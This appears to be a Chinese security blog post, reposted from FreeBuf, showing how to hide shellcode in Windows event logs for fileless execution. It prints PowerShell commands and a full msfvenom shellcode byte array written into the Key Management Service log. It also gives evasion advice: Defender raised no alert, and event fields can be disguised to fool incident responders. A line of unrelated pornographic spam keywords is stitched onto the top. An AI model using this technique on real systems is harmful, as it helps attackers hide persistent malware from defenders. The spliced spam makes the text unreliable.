偷偷摘套内射激情视频,久久精品99国产国产精,中文字幕无线乱码人妻,中文在线中文a,性爽19p

巧用Windows事件日志“隱藏”載荷

系統(tǒng) Windows
Windows默認事件日志查看器為eventvwr.msc,能實現簡單的使用,Win+R鍵后輸入eventvwr回車即能打開。Windows主要的日志在“Windows 日志”中,該文件夾中包含所有Windows系統(tǒng)上的五個標準類別。比較常用的Windows日志有系統(tǒng)日志、安全日志、應用程序日志這三個日志內容。

背景

根據卡巴斯基發(fā)布的研究報告發(fā)現一項惡意活動,其中的技術涉及將shellcode直接放入Windows事件日志,Windows事件日志可以被攻擊者用來掩蓋特洛伊木馬病毒的惡意使用。實現了”無文件”攻擊技術,下面就利用該涉及的技術,簡單嘗試一下。

前置知識

Windows事件日志

Windows默認事件日志查看器為eventvwr.msc,能實現簡單的使用,Win+R鍵后輸入eventvwr回車即能打開。Windows主要的日志在“Windows 日志”中,該文件夾中包含所有Windows系統(tǒng)上的五個標準類別。比較常用的Windows日志有系統(tǒng)日志、安全日志、應用程序日志這三個日志內容。

  • 應用程序
  • 安全
  • Setup
  • 系統(tǒng)
  • Forwarded Events

1.jpg

事件查看器的另一個“應用程序和服務日志”文件夾里,包含Windows系統(tǒng)中其它各類重要服務組件的事件日志。Windows PowerShell日志在該集合中。

Windows事件日志文件實際上是以特定的數據結構的方式存儲內容,每條記錄事件的數據結構由9個字段組成,包括日志名稱、來源、記錄時間、事件ID、任務類別、級別、計算機、事件數據(EventData)等信息。其中事件數據僅支持消息和二進制數據。

寫入事件日志

我們可以使用PowerShell操作Windows事件日志,其中Write-EventLog命令可以將事件寫入事件日志,參考微軟官方文檔,其中參數對應上面介紹的字段:

2.png

執(zhí)行命令

Write-EventLog -LogName Application -Source edge -EventID 65535 -EntryType Information -Category 0 -Message "Hello World!"

3.png

在事件查看器中,可以看到事件ID為65535的日志成功創(chuàng)建在應用程序日志中,消息為Hello World!

4.png

簡單復現

寫入載荷

只需在Write-EventLog中使用-RawData參數,就可以在事件日志字段中包含二進制數據,而且必須將二進制數據作為字節(jié)數組傳到-RawData參數中。我們可以將其包含數據的十六進制字符串轉換為字節(jié)數組,然后再傳遞。

首先,使用msfvenom生成彈計算器 payload。輸出格式為十六進制字符串

5.png

利用工具網站轉為字節(jié)數組

6.png

$data = [Byte[]](0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00)

使用密鑰管理服務日志和KmsRequests作為源進行事件日志寫入。

Write-EventLog -LogName 'Key Management Service' -Source KmsRequests -EventID 9999 -EntryType Information -Category 0 -Message "Hello World!" -RawData $data

執(zhí)行后,Payload已成功存儲到事件日志當中。于事件日志的詳細信息就能查看到。

7.png

8.png

執(zhí)行載荷

為了提取并執(zhí)行寫入的載荷,這邊用非常簡單的C++程序和Python腳本進行證明,代碼放在??這里??。

用Visual Studio編譯PoC代碼后放在環(huán)境中執(zhí)行,從”隱藏”在事件日志Key Management Services的第一條日志中提取二進制載荷數據并且成功執(zhí)行。過程中defender并未對其進行告警。

9.png

10.png

另外使用Python的win32evtlog實現讀取事件日志內容,然后也用非常常見的shellcode注入技術執(zhí)行該載荷。

11.png

同樣成功執(zhí)行隱藏在事件日志中的載荷:

12.png

可以看到,對Windows事件日志寫入和讀取Shellcode,都是使用合法的API調用,所以能借此很好的對載荷進行隱藏。作為一種持久化方法,還是能有更好的玩法。例如配合DLL搜索順序劫持加載惡意代碼等。

注意事項

用戶限制

事件日志的寫入權限問題。為了能在事件日志條目中存儲有效負載,我們拿到的權限必須要能寫入日志。

大小限制

需要注意的另一個限制是,事件日志中可以存儲的數據量有大小限制?;谑录⒆址淖畲笞址拗茷?1,839個字符。

更持久

在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\對應的日志名稱下的條目中,存在一個EventMessageFile屬性。如果在注入載荷的時候,事件ID不存在于該屬性指定的源關聯的事件消息文件中,則會出現下圖這個日志消息:

13.png

為了能夠更加的持久化不被發(fā)現,事件ID和級別等字段都應該偽裝成日常日志的樣子,以免被應急人員察覺到異常。

參考:

??https://threatpost.com/attackers-use-event-logs-to-hide-fileless-malware/179484??

??https://securelist.com/a-new-secret-stash-for-fileless-malware/106393??

??https://learn.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-readeventloga???

本文作者:supersaiyan, 轉載請注明來自??FreeBuf.COM??

責任編輯:武曉燕 來源: FreeBuf.COM
相關推薦

2022-05-10 14:21:12

惡意軟件黑客網路攻擊

2011-11-21 16:49:58

日志常用事件

2010-01-25 13:31:27

C++程序

2019-12-04 14:30:43

事件日志Windows 10Windows

2024-10-22 08:47:03

2021-02-14 20:41:56

API日志web

2021-02-01 00:04:13

Dictionary數據批量

2009-01-05 16:56:59

2022-07-09 16:34:42

網絡攻擊惡意軟件

2009-10-10 09:43:10

2024-08-26 08:27:18

2011-07-26 10:32:44

windows7組策略

2010-01-25 12:58:26

2011-08-31 14:12:17

2011-07-26 15:11:51

安全模式

2017-03-08 17:00:20

Windows 7Windows系統(tǒng)故障

2010-04-13 14:57:49

2011-08-01 09:02:16

2011-11-21 15:44:46

管理服務器日志

2009-03-24 09:15:42

Windows 7使用技巧微軟
點贊
收藏

51CTO技術棧公眾號